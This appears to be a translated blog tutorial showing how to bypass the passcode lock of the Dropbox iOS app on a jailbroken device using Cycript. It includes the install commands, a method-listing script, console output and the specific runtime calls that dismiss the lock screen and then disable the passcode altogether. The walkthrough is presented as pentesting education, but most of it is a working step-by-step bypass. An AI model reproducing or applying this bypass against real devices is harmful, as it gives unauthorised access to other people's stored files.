
Bypass Dropbox iOS client protection

What will an iOS developer do in the first place if he is faced with the task of hiding user data from prying eyes? Of course, it will integrate a password protection screen. A particularly cunning developer will not even store the user-set password in NSUserDefaults , but gently hide it in a keychain - in this case, the application in the eyes of both him and the customer is immediately transferred to the "super-protected" category.
We will not go into a description of the dangers of storing a key in the public domain - there is a much more interesting way to circumvent such protection.
Cycript- A console utility that allows you to connect to Mac OS X and iOS applications during their execution. A hybrid of Javascript and Objective-C ++ is used to work with the code of the executable application. The project has been living since 2007, initially representing a bridge between Javascript and Objective-C. First of all, Cycript is interesting because it allows you to explore the application from the inside, sending messages to any of its objects. By the way, the author of the project is saurik himself .
Attention: Jailbreak is required to work with Cycript (developers, however, can connect the library to their project in order to be able to test the application on a “clean” device).
Cycript installation is extremely simple - download the latest version of the package and upload it via sftp to our device:
sftp>put cycript.deb
then connect via ssh and install the package:
iPad:/tmp root# dpkg -i cycript.deb
The Dropbox client was selected as the test object , which allows you to set a password protection screen that appears each time the application is opened. Launch Dropbox by enabling the password request option in advance.
We find out the process identifier of the running application, and then connect to it:
iPad:~ root# ps aux | grep Dropbox
mobile 283 0.0 10.1 641388 52020 ?? Ss 5:41PM 0:19.15 /var/mobile/Containers/Bundle/Application/93E2B5E6-B7EC-4D18-9697-021D24429D29/Dropbox.app/Dropbox
root 328 0.0 0.1 536256 440 s000 S+ 6:07PM 0:00.01 grep Dropbox
iPad:~ root# cycript -p 283
Let's see what the rootViewController of a running application is:
cy# UIApp.keyWindow.rootViewController
#""
Now check which controller is currently displayed on the screen:
cy# UIApp.keyWindow.rootViewController.presentedViewController
#""
The name is encouraging :) We will turn to one of the strengths of using Cycript and define our function, which will show us all the methods specific to the selected class:
function printMethods(className) {
var count = new new Type("I");
var methods = class_copyMethodList(objc_getClass(className), count);
var methodsArray = [];
for(var i = 0; i < *count; i++) {
var method = methods[i];
methodsArray.push({selector:method_getName(method), implementation:method_getImplementation(method)});
}
free(methods);
free(count);
return methodsArray;
}
Now we can use this function and see what PasscodeFullscreenController does :
cy# printMethods(PasscodeFullscreenController)
[{selector:@selector(initWithPasscodeViewController:),implementation:0xdf551},{selector:@selector(dealloc),implementation:0xe0131},{selector:@selector(shouldAutorotate),implementation:0xe0045},{selector:@selector(supportedInterfaceOrientations),implementation:0xe010d},{selector:@selector(viewDidLoad),implementation:0xdf5b1},{selector:@selector(.cxx_destruct),implementation:0xe0181}]
Now declare a variable containing the current instance of this class, and see a list of its variables:
cy# var PasscodeFullscreenController = #0x187c8b50
#""
cy# *PasscodeFullscreenController
{isa:#"PasscodeFullscreenController",_view:#">",_tabBarItem:null,_navigationItem:null,_toolbarItems:null,_title:null,_nibName:null,_nibBundle:#"NSBundle (loaded)",_parentViewController:null,_childModalViewController:null,_parentModalViewController:#"",_previousRootViewController:null,
...
_presentationSizeClassPair:{width:0,height:0},_navigationControllerContentInsetAdjustment:{top:0,left:0,bottom:0,right:0},_contentOverlayInsets:{top:20,left:20,bottom:0,right:20},__embeddedViewFrame:{origin:{x:0,y:0},size:{width:0,height:0}},_passcodeController:#""}
Apparently, we need directly in the PasscodeViewController :
cy# printMethods(PasscodeViewController)
[{selector:@selector(dismissPasscodeAnimated:),implementation:0xa933d},{selector:@selector(initWithPasscodeEntryMode:),implementation:0xa7801},{selector:@selector(presentPasscodeModalAnimated:),implementation:0xa91c5},
...
{selector:@selector(presentationControllerForPresentedViewController:presentingViewController:sourceViewController:),implementation:0xaba01},{selector:@selector(canCancel),implementation:0xa95b9},{selector:@selector(setCanCancel:),implementation:0xa9575}]
It seems that the first method does exactly what interests us. Check:
cy# var PasscodeViewController = #0x187c8730
#""
cy# [PasscodeViewController dismissPasscodeAnimated:YES]
When this method is called, the password screen is magically hidden, and we get full access to the logged-in user’s files.
Nevertheless, entering a password every time is quite tedious, so our maximum goal is to completely disable it. Explore the application settings:
When you select the “Passcode Lock” item , the familiar password entry form appears. We will use the method we already know to get rid of it:
cy# var PasscodeController2 = #0x1992aab0
#""
cy# [PasscodeController2 dismissPasscodeAnimated:YES]
But this time, simply hiding the form does not solve the problem, since the password menu does not appear. Let's try to find another way.
Let's see all the messages that the PasscodeViewController can receive (this also includes the methods of its parents and categories):
cy# PasscodeViewController.messages
Among hundreds of different selectors, the following is of interest:
db_handleVerifyModeCorrectPasscodeEntered:0xb1bd5
Indeed, his call closes the password entry screen and opens the settings. We repeat the same thing when confirming that the password is disabled:
Now you can safely close the application - entering the password is no longer required.
We did not consider all the functionality of Cycript - in addition, it allows you to define your classes, categories, work with blocks, import additional libraries, perform method swizzling - in a word, this is a very powerful tool for pentesting both your own and third-party applications.
And finally, a small list of links for further study: